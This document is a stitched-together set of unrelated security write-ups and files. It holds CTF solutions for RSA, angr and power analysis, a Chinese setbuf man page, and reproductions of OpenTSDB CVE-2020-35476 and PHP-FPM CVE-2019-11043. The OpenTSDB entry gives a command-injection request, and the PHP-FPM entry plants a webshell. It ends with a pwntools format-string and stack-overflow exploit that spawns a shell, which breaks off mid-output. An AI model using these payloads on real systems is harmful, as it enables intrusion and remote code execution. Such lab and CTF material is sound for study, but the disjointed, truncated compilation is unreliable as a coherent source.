base13_encode(s) { a = '0123456789ABC'; return s.split('').map(i => { i = i.charCodeAt(0).toString(13); return a[parseInt(i[0], 13)] + a[parseInt(i[1], 13)]; }).join(''); } >>> base13_encode("What a lovely day"); "6980768C2676268487917A849426797694" ``` Finally, `"6980768C2676268487917A849426797694"` was accepted as the flag and we've completed our journey home.
sec-knowleage
# OpenTSDB arbitrary commands injection (CVE-2020-35476) [中文版本(Chinese version)](README.zh-cn.md) OpenTSDB is a distributed, scalable Time Series Database (TSDB) written on top of HBase. A remote code execution vulnerability occurs in OpenTSDB through 2.4.0 via command injection in the yrange parameter. The yrange value is written to a gnuplot file in the /tmp directory. This file is then executed via the mygnuplot.sh shell script. (tsd/GraphHandler.java attempted to prevent command injections by blocking backticks but this is insufficient.) References: - https://github.com/OpenTSDB/opentsdb/issues/2051 - https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html ## Vulnerable Environment Execute the following command to start a OpenTSDB server 2.4.0: ``` docker compose up -d ``` Once the service is started, visit `http://your-ip:4242` to see the web interface of the OpenTSDB. ## Exploit You need to know the name of a metric before you can exploit this vulnerability on `http://your-ip:4242/api/suggest?type=metrics&q=&max=10`: ![](1.png) However, the metrics list is empty. Fortunately, the `tsd.core.auto_create_metrics` is set to `true` in this vulnerable OpenTSDB, so you can create a metric named `sys.cpu.nice` through following request: ``` POST /api/put/ HTTP/1.1 Host: your-ip:4242 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Content-Type: application/x-www-form-urlencoded Connection: close Content-Length: 150 { "metric": "sys.cpu.nice", "timestamp": 1346846400, "value": 20, "tags": { "host": "web01", "dc": "lga" } } ``` If at least one metric exists and is not empty, the above request is not required. Send following request, where the value of the parameter `m` must contain a valid metric name: ``` GET /q?start=2000/10/21-00:00:00&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[0:system(%27touch%20/tmp/success%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1 Host: your-ip:4242 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close ``` ![](2.png) `touch /tmp/success` has been successfully executed. ![](3.png)
sec-knowleage
# Relatively Secure Algorithm Category: Cryptography ## Description > The department of EEvil is plotting something, we found this file on one of the faculty's computers, can you figure out what it is? A text file was attached. ## Solution From the name of the challenge we can guess that it will deal with RSA. Let's check the attached file: ```console root@kali:/media/sf_CTFs/technion/Relatively_Secure_Algorithm# cat message.txt n: 825402695296235131092527557949148073680565936697713051415889293421029386404087786809133592938935623042440715527196520597292373820231062072474925946687326909527522368629975724388127799086004143533106667800998091247742389330432883797178326137254716519621196100994734775290514266572830378500333765897067796562788680689472323096811097130765013612651422495467212972214772718890261379968152205135925701904909039101189937253885371003736074519018221858648225347897987181571275839640491047203059389825550936971094398683210286052266410263866826268586236692135320079545001376164284247052679177411582273091659201220480533559746778789832073166797384358086283378353771172226575876935552196797307187999859754390947734663968491410635801184266690863992131425203127607174511857095265526424765821272294690124489772026301817212579031068294287661070265211790122376389183596252269054368365643460044953455035168757432011941774411665066875107329537717590084288937539003745260571770240109942546025847595253577165758019294931157968125588233441504909248216799233514466849049223331018386938363613854548693694755488670348728528933243830892350215180587991482856241757261724154872929793486588815163210598623606769681731012749290487884299695000130785666275868697293 e: 65537 p: 28069314585108756035848513647597610834225797800860752848663474970174583353886146199571979524351943071582432045806274029311233469599712067469851757489396524898065538625303685259051652617004655873485519483592935216868737077075497584459587658263806635821766590638776567043954999826087118541685704170392342797811382391073770965485613495589480668635956714126490055489630443624764807781373683160760075607610308718540154536269918442024806008554009398902502499632794478272942027306551524058453387857194710676144975007459467710884588089828069684540736333265519800014202434206707747303838213190885409880375072009214835974060763 q: 29405872836457686696740155975471752061459340894678871416585401774963969793666715154214375047230781383467092922259450859189392703766772285358653226686220825982019500241628146951860441531787418600262163830668796766272549847511633062053686430417222251160913126359964320246656861185493206125456543856502118013637235957959059720420665579445461659902831363000300245254396321449146147551214569752002671227032896770476601561466652355314783948807259170962291180014399109715050100517158384377121647613044222041868576420086977066381810025391195532039678037753337637774929007886189968806147938877829884509966477797882366306600311 c: 173752985581892316006309343839207936229693907165489052958892359950848312889336299576455020174824693077789984817731495853868186939900601134723215299244638668430587111226648527701269403623779097763129579469082671667158619013691670818838124816687556885591416373405046318309685438295531261698025198091372600919970647551102389253278156422788571736423823729410340781877402993049766740269476840530803703216785218517001390465877628796603255994865149990229760997173725088104795416166658443058064170476042119369126154025828179008841954231984726288138946917675485818551455907708082637829854707249517458675622690416260954188680300731305306130863080509508600301877010041957474271132079988585807969778154660159258537622173214426603678402886077432903049244652555850026355950142924637754421579013988111102641267297050716750481273983213800980611936424122037336541583353536610848019315347022698709069346929620774003620853983317933409589579916225442986174429438164973159050950072811564576593323816574515340070285528333841523325601975731631707704268017718672660535895361419240717732353845053934327340095867021778739727294418774005290399920871533450941136512703665608521344152149596247521763154128507105012751058891839197323701265358726624318912749452796 ``` This looks like textbook RSA where we even know the private key material. It can easily be decoded with the following script: ```python import gmpy2 with open("message.txt") as f: params = {} for line in f: name, value = line.strip().split(": ") params[name] = int(value) assert(params["p"] * params["q"] == params["n"]) ph = (params["p"] - 1) * (params["q"] - 1) d = gmpy2.invert(params["e"], ph) plaintext = pow(params["c"], d, params["n"]) print(bytes.fromhex(format(plaintext, 'x')).decode("ascii")) ``` Output: ```console root@kali:/media/sf_CTFs/technion/Relatively_Secure_Algorithm# python3 solve.py My dear friends of the departement of EEvil Our sworn enemy, vaad madmach, is planning to organize a CTF competition for the student! This is outragous! we can't let them do something like that while we organize nothing! So I, and my colleagues at the vaad of EEvil are planning to steal all their flags and post them before the competition! We already found this little flag on one of their computers: cstechnion{Rs4_1s_34sy_4Nd_7hIS_Is_m374} We will publish more flags as we find them Long live the EEmpire! ```
sec-knowleage
import numpy as np sbox = [ 0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16 ] hamm = [bin(i).count('1') for i in range(256)] def hypothesis(inputs, outputs, traces, byte_num, byte_check): best_corr = 0 x = np.zeros(len(traces)) for i in range(len(traces)): x[i] = hamm[sbox[inputs[i][byte_num] ^ byte_check]] traces1 = traces.T for trace_pos in range(len(traces[0])): y = traces1[trace_pos] r = abs(np.corrcoef(x, y)[0][1]) if r > best_corr: best_corr = r best_t = trace_pos return best_corr, best_t def find_byte(inputs, outputs, traces, byte_num): all = [] for i in range(256): #print str(i) + "/256", r, t = hypothesis(inputs, outputs, traces, byte_num, i) r = int(r * 10000) / 100.0 #print r all.append((r, i, t)) all = sorted(all)[::-1] return all
sec-knowleage
# angrybird (RE 125) ###ENG We are faced with x64 ELF binary. Binary is obviously corrupted - it exits right at the beginning. Unfortunatelly I don't have non-patched binary anymore, but I had to NOP a lot of code at the beginning: ```asm 55 push rbp 48 89 E5 mov rbp, rsp 48 83 C4 80 add rsp, 0FFFFFFFFFFFFFF80h 64 48 8B 04 25 28+mov rax, fs:28h 48 89 45 F8 mov [rbp+var_8], rax 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 90 nop 48 C7 45 90 18 60+mov [rbp+var_70], offset strncmpp 48 C7 45 98 20 60+mov [rbp+var_68], offset putsp 48 C7 45 A0 28 60+mov [rbp+var_60], offset stack_chk_fail 48 C7 45 A8 38 60+mov [rbp+var_58], offset startmain B8 00 00 00 00 mov eax, 0 E8 4B FF FF FF call should_return_21 89 45 8C mov [rbp+n], eax B8 00 00 00 00 mov eax, 0 90 nop 90 nop 90 nop 90 nop 90 nop B8 00 00 00 00 mov eax, 0 ``` And patch function `should return 21` (because according to debug string, it should return 21): ```asm should_return_21 proc near 55 push rbp 48 89 E5 mov rbp, rsp BF 64 50 40 00 mov edi, offset s ; "you should return 21 not 1 :(" E8 8C FE FF FF call _puts 8B 05 56 59 20 00 mov eax, cs:const_1 5D pop rbp C3 retn should_return_21 endp ``` Now binary is working correctly: it reads flag, and does a lot of checks, one char at a time: ![](./screen1.png) This looks easy enough, right? Well, let's zoom out: ![](./screen2.png) Wait, what? Let's zoom out even more: ![](./screen3.png) `O_o`. Ok, we might need to do this more intelligently. Turns out that if you think hard enough, everything is trivial. Or maybe just angr creators are genius, I don't know. Anyway, I created this very basic angr script (my second angr experience ever): ```python import angr main = 0x4007DA find = 0x404FAB find = 0x404FC1 avoid = [0x400590] p = angr.Project('./angrybird2') init = p.factory.blank_state(addr=main) pg = p.factory.path_group(init, threads=8) ex = pg.explore(find=find, avoid=avoid) final = ex.found[0].state flag = final.posix.dumps(0) print("Flag: {0}".format(final.posix.dumps(1))) ``` And, just like that, it worked (almost) first time and shown the flag: ``` ╭─msm@mercury /home/msm/codegate2017 ‹system› ╰─$ python angrdo.py WARNING | 2017-02-13 19:40:46,155 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing. Flag: you typed : Im_so_cute&pretty_:) @ @@ ```
sec-knowleage
# PHP-FPM Remote Command Execution (CVE-2019-11043) [中文版本(Chinese version)](README.zh-cn.md) There is a PHP remote code execution 0-Day discovered in Real World CTF 2019 Quals. > Real World CTF 2019 Quals is a CTF challenge which was organized by Chaitin Tech in China. References: - https://bugs.php.net/bug.php?id=78599 - https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/ - https://github.com/neex/phuip-fpizdam ## Environment setup Start a vulnerable PHP server through following command: ``` docker compose up -d ``` After the environment is started, you can see the default page at `http://your-ip:8080/index.php`. ## Vulnerability Reproduce Use this tool to reproduce the vulnerability, <https://github.com/neex/phuip-fpizdam>: ``` $ go run . "http://your-ip:8080/index.php" 2019/10/23 19:41:00 Base status code is 200 2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate 2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] 2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect 2019/10/23 19:41:02 Trying to set "session.auto_start=0"... 2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS 2019/10/23 19:41:02 Performing attack using php.ini settings... 2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs 2019/10/23 19:41:02 Trying to cleanup /tmp/a... 2019/10/23 19:41:02 Done! ``` Something is show that the process is finished successfully: ![](1.png) A webshell is written in the background of PHP-FPM, visit `http://your-ip:8080/index.php?a=id` to trigger RCE: ![](2.png) You should notice that only part of the PHP-FPM child process is polluted, so please try a few more times to execute the command.
sec-knowleage
# Stage 1 ## Description > Decipher this to have the key to the next stage. > > `aHR0cHM6Ly9ybmQuZWJheS5jby5pbC9yaWRkbGUvbXpmYmFiZXdjZXlxeGFsdXIv` ## Solution This is an easy warm-up question. We decode the string as base-64 and get: ```console root@kali:/media/sf_CTFs/ebay/1# echo aHR0cHM6Ly9ybmQuZWJheS5jby5pbC9yaWRkbGUvbXpmYmFiZXdjZXlxeGFsdXIv | base64 -d https://rnd.ebay.co.il/riddle/mzfbabewceyqxalur/ ```
sec-knowleage
# DCTF Quals 2019 Team: c7, rev, chivay, Eternal, rodbert, des, psrok1, niedzejkob, shalom ### Table of contents * [API (web)](api) * [Predict (misc)](predict)
sec-knowleage
.\" Copyright (c) 1980, 1991 Regents of the University of California. .\" All rights reserved. .\" .\" This code is derived from software contributed to Berkeley by .\" the American National Standards Committee X3, on Information .\" Processing Systems. .\" .\" Redistribution and use in source and binary forms, with or without .\" modification, are permitted provided that the following conditions .\" are met: .\" 1. Redistributions of source code must retain the above copyright .\" notice, this list of conditions and the following disclaimer. .\" 2. Redistributions in binary form must reproduce the above copyright .\" notice, this list of conditions and the following disclaimer in the .\" documentation and/or other materials provided with the distribution. .\" 3. All advertising materials mentioning features or use of this software .\" must display the following acknowledgement: .\" This product includes software developed by the University of .\" California, Berkeley and its contributors. .\" 4. Neither the name of the University nor the names of its contributors .\" may be used to endorse or promote products derived from this software .\" without specific prior written permission. .\" .\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND .\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE .\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE .\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE .\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL .\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS .\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) .\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT .\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY .\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF .\" SUCH DAMAGE. .\" .\" @(#)setbuf.3 6.10 (Berkeley) 6/29/91 .\" .\" Converted for Linux, Mon Nov 29 14:55:24 1993, faith@cs.unc.edu .\" Added section to BUGS, Sun Mar 12 22:28:33 MET 1995, .\" Thomas.Koenig@ciw.uni-karlsruhe.de .\" Correction, Sun, 11 Apr 1999 15:55:18, .\" Martin Vicente <martin@netadmin.dgac.fr> .\" Correction, 2000-03-03, Andreas Jaeger <aj@suse.de> .\" Added return value for setvbuf, aeb, .\" .TH SETBUF 3 2001-06-09 "Linux" "Linux Programmer's Manual" .SH NAME setbuf, setbuffer, setlinebuf, setvbuf \- 流缓冲操作 .SH "SYNOPSIS 总览" .na .B #include <stdio.h> .sp .BI "void setbuf(FILE *" stream ", char *" buf ); .br .BI "void setbuffer(FILE *" stream ", char *" buf ", size_t " size ); .br .BI "void setlinebuf(FILE *" stream ); .br .BI "int setvbuf(FILE *" stream ", char *" buf ", int " mode .BI ", size_t " size ); .ad .SH "DESCRIPTION 描述" 有三种类型的缓冲策略,它们是无缓冲,块缓冲和行缓冲。当输出流无缓冲时,信息在写的同时出现于目标文件或终端上;当是块缓冲时,字符被暂存,然后一起写入;当是行缓冲时,字符被暂存,直到要输出一个新行符,或者从任何与终端设备连接的流中 (典型的是 stdin) 读取输入时才输出。函数 .BR fflush (3) 可以用来强制提前输出。(参见 .BR fclose (3)) 通常所有文件都是块缓冲的。当文件 I/O 操作在文件上发生时,将调用 .BR malloc (3) ,获得一个缓冲。如果流指向一个终端 (通常 .I stdout 都是这样),那么它是行缓冲的。标准错误流 .I stderr 默认总是无缓冲的。 .PP 函数 .B setvbuf 可以用在任何打开的流上,改变它的缓冲。参数 .I mode 必须是下列三个宏之一: .RS .TP .B _IONBF 无缓冲 .TP .B _IOLBF 行缓冲 .TP .B _IOFBF 完全缓冲 .RE .PP 除非是无缓冲的文件,否则参数 .I buf 应当指向一个长度至少为 .I size 字节的缓冲;这个缓冲将取代当前的缓冲。如果参数 .I buf 是 .BR NULL ,只有这个模式会受到影响;下次 read 或 write 操作还将分配一个新的缓冲。函数 .B setvbuf 只能在打开一个流,还未对它进行任何其他操作之前使用。 .PP 其他三个函数调用是函数 .BR setvbuf 的别名,函数 .B setbuf 与使用下列语句完全等价: .PP .RS setvbuf(stream, buf, buf ? _IOFBF : _IONBF, BUFSIZ); .RE .PP 函数 .B setbuffer 与此相同,但是缓冲的长度由用户决定,而不是由默认值 .BR BUFSIZ 决定。函数 .B setlinebuf 与使用下列语句完全等价: .PP .RS setvbuf(stream, (char *)NULL, _IOLBF, 0); .RE .SH "RETURN VALUE 返回值" 函数 .B setvbuf 成功执行时返回 0。它失败时可能返回任何值,但是当 It can return any value on failure, but returns nonzero when .I mode 不正确,或者不能实现请求时,必须返回非零值。它在失败时可能设置 .I errno 。其他函数没有返回值。 .SH "CONFORMING TO 标准参考" 函数 .B setbuf 和 .B setvbuf 遵循 ANSI X3.159-1989 (``ANSI C'') 标准。 .SH BUGS 函数 .B setbuffer 和 .B setlinebuf 无法移植到 4.2BSD 之前的 BSD 版本,在 Linux 中仅在 libc 4.5.21 之后的系统中可用。在 4.2BSD 和 4.3BSD 系统中, .B setbuf 总是使用非最优的缓冲大小,应当避免使用它。 .P 在 .I stream 被关闭时,必须确保 .I buf 和它指向的空间仍然存在。这通常发生在程序终止时。 .P 例如,下列调用是非法的: .nf .sp #include <stdio.h> int main() { char buf[BUFSIZ]; setbuf(stdin, buf); printf("Hello, world!\\n"); return 0; } .fi .sp .SH "SEE ALSO 参见" .BR fclose (3), .BR fflush (3), .BR fopen (3), .BR fread (3), .BR malloc (3), .BR printf (3), .BR puts (3)
sec-knowleage
# Binary Gauntlet 2 Category: Binary Exploitation, 50 points ## Description > How does ASLR affect your exploit? A binary file was attached. ## Solution This is the follow-up for [Binary Gauntlet 1](Binary_Gauntlet_1.md). Let's run `checksec` on the file: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Binary_Gauntlet_2] └─$ checksec --file=gauntlet [*] '/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments ``` We can see that there are virtually no protections for this program. The description says that they've enabled ASLR though, which means that some addresses should get randomized. Using Ghidra, we can check the decompiled output of the program: ```c undefined8 main(void) { char local_78 [104]; char *local_10; local_10 = (char *)malloc(1000); fgets(local_10,1000,stdin); local_10[999] = '\0'; printf(local_10); fflush(stdout); fgets(local_10,1000,stdin); local_10[999] = '\0'; strcpy(local_78,local_10); return 0; } ``` The local buffer address leak from the previous challenge is gone. If we're able to find it using another method, we'll be able to replicate our exploit from the previous challenge by copying some shellcode to the local buffer and jumping to it. To leak the buffer address, we'll use a vulnerability which has existed since the first challenge but wasn't needed until now: A format string vulnerability. A format string vulnerability is when the program allows the user to control the first parameter to `printf`. This means that the user can provide format string specifiers such as `%x`, `%s` or `%p` and leak data from the stack. We'll want to use this vulnerability to leak the address of the local buffer, so that we can jump to it and execute our shellcode from it. Let's run the program in the debugger and check the address of the local buffer. But first, we'll check the disassembly and see where the buffer starts: ```assembly 0x0000000000400701 <+122>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400705 <+126>: add rax,0x3e7 0x000000000040070b <+132>: mov BYTE PTR [rax],0x0 0x000000000040070e <+135>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000400712 <+139>: lea rax,[rbp-0x70] 0x0000000000400716 <+143>: mov rsi,rdx 0x0000000000400719 <+146>: mov rdi,rax 0x000000000040071c <+149>: call 0x400550 <strcpy@plt> ``` The destination for the `strcpy` (as reflected in `rdi`) is `rbp-0x70`, so that's where the local buffer starts. Now, to the debugger. We set a breakpoint at `main`, step a few instructions ahead to that the stack frame is set up and check what's the address of our local buffer: ``` ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000000000400687 → <main+0> push rbp $rbx : 0x0 $rcx : 0x00007ffff7fb1718 → 0x00007ffff7fb3b00 → 0x0000000000000000 $rdx : 0x00007fffffffe968 → 0x00007fffffffec09 → "LANG=en_IL" $rsp : 0x00007fffffffe7e0 → 0x00007fffffffe958 → 0x00007fffffffebda → "/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet" $rbp : 0x00007fffffffe860 → 0x0000000000400730 → <__libc_csu_init+0> push r15 $rsi : 0x00007fffffffe958 → 0x00007fffffffebda → "/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet" $rdi : 0x3e8 $rip : 0x000000000040069b → <main+20> call 0x400580 <malloc@plt> $r8 : 0x0 $r9 : 0x00007ffff7fe2180 → <_dl_fini+0> push rbp $r10 : 0x0 $r11 : 0x0 $r12 : 0x00000000004005a0 → <_start+0> xor ebp, ebp $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe7e0│+0x0000: 0x00007fffffffe958 → 0x00007fffffffebda → "/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet" ← $rsp 0x00007fffffffe7e8│+0x0008: 0x0000000100000000 0x00007fffffffe7f0│+0x0010: 0x0000000000000000 0x00007fffffffe7f8│+0x0018: 0x0000000000000000 0x00007fffffffe800│+0x0020: 0x0000000000000000 0x00007fffffffe808│+0x0028: 0x0000000000000000 0x00007fffffffe810│+0x0030: 0x0000000000f0b5ff 0x00007fffffffe818│+0x0038: 0x00000000000000c2 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40068f <main+8> mov DWORD PTR [rbp-0x74], edi 0x400692 <main+11> mov QWORD PTR [rbp-0x80], rsi 0x400696 <main+15> mov edi, 0x3e8 → 0x40069b <main+20> call 0x400580 <malloc@plt> ↳ 0x400580 <malloc@plt+0> jmp QWORD PTR [rip+0x200aaa] # 0x601030 <malloc@got.plt> 0x400586 <malloc@plt+6> push 0x3 0x40058b <malloc@plt+11> jmp 0x400540 0x400590 <fflush@plt+0> jmp QWORD PTR [rip+0x200aa2] # 0x601038 <fflush@got.plt> 0x400596 <fflush@plt+6> push 0x4 0x40059b <fflush@plt+11> jmp 0x400540 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ──── malloc@plt ( $rdi = 0x00000000000003e8, $rsi = 0x00007fffffffe958 → 0x00007fffffffebda → "/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet", $rdx = 0x00007fffffffe968 → 0x00007fffffffec09 → "LANG=en_IL" ) ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "gauntlet", stopped 0x40069b in main (), reason: SINGLE STEP ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x40069b → main() ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── gef> p/x $rbp-0x70 $1 = 0x7fffffffe7f0 ``` The address is `0x7fffffffe7f0`. Now, we can allow the program to continue, and when it requests us to enter a string via `fgets`, we'll enter `%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.` to inspect the contents of the stack: ``` gef> c Continuing. %p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p. 0x602691.(nil).0x6026c1.0x6022a0.0x7ffff7fb1be0.0x7fffffffe958.0x100000000.(nil).(nil).(nil).(nil).0xf0b5ff.0xc2.0x1.0x40077d.(nil). ``` Looking at the values leaked back to us, we see that the sixth value is relatively near to the local buffer's address: `0x7fffffffe958`. We can calculate the difference between both values: ```python >>> hex(0x7fffffffe958 - 0x7fffffffe7f0) '0x168' ``` So what this means is that if we leak the sixth value from the stack using the format string vulnerability and subtract `0x168`, we should get the runtime address of our buffer. This techniques bypasses any ASLR protection since we're using a leaked runtime address to perform the calculation. Here's a script to automate the exploit: ```python # First, generate a pwntools template using the following command: # pwn template --host mercury.picoctf.net --port 65046 ./gauntlet #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX disabled # PIE: No PIE (0x400000) # RWX: Has RWX segments io = start() def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere with open("/proc/sys/kernel/core_pattern") as f: core_pattern = f.read() if core_pattern.strip() == "core": from pathlib import Path raise Exception("Please run the following command first:\n" "mkdir -p {0} && " "sudo bash -c 'echo {0}/core_dump > /proc/sys/kernel/core_pattern'" .format(Path.home() / "core")) #os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") os.system("rm core.* > /dev/null") proc = process(exe.path) payload = cyclic(150, n = exe.bytes) proc.sendline("dummy") proc.sendline(payload) proc.wait() offset = cyclic_find(proc.corefile.fault_addr, n = exe.bytes ) log.info("Overflow offset: {}".format(offset)) return offset overflow_offset = get_overflow_offset() io = start() shellcode = shellcraft.sh() log.info("Shellcode:\n{}".format(shellcode)) io.sendline("%6$p") if args.LOCAL: delta = 0x168 else: delta = 0x158 leaked_address = int(io.recvlineS(), 16) log.info(f"Leaked address: {hex(leaked_address)}") buffer_address = leaked_address - delta log.info(f"Local Buffer address: {hex(buffer_address)}") payload = fit({ 0: asm(shellcode), overflow_offset: p64(buffer_address) }) log.info("Sending payload:\n{}".format(hexdump(payload))) io.sendline(payload) io.interactive() ``` Notice the following addition to the script: ```python if args.LOCAL: delta = 0x168 else: delta = 0x158 ``` This was needed since the memory layout on the server was a bit different than the one on the local setup. Therefore, after testing and verifying the full exploit locally, it was easy to run it on the server and experiment with different `delta` values until a shell popped up on the server as well. Output: ```console ┌──(user@kali)-[/media/sf_CTFs/pico/Binary_Gauntlet_2] └─$ python3 exploit.py LOCAL [*] '/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments [+] Starting local process '/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet': pid 3138 [+] Starting local process '/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet': pid 3142 [*] Process '/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet' stopped with exit code -11 (SIGSEGV) (pid 3142) [+] Parsing corefile...: Done [*] '/media/sf_CTFs/pico/Binary_Gauntlet_2/core.3142' Arch: amd64-64-little RIP: 0x400727 RSP: 0x7ffde464c0f8 Exe: '/media/sf_CTFs/pico/Binary_Gauntlet_2/gauntlet' (0x400000) Fault: 0x6161616161616170 [*] Overflow offset: 120 [+] Opening connection to mercury.picoctf.net on port 65046: Done [*] Shellcode: /* execve(path='/bin///sh', argv=['sh'], envp=0) */ /* push b'/bin///sh\x00' */ push 0x68 mov rax, 0x732f2f2f6e69622f push rax mov rdi, rsp /* push argument array ['sh\x00'] */ /* push b'sh\x00' */ push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101 xor esi, esi /* 0 */ push rsi /* null terminate */ push 8 pop rsi add rsi, rsp push rsi /* 'sh\x00' */ mov rsi, rsp xor edx, edx /* 0 */ /* call execve() 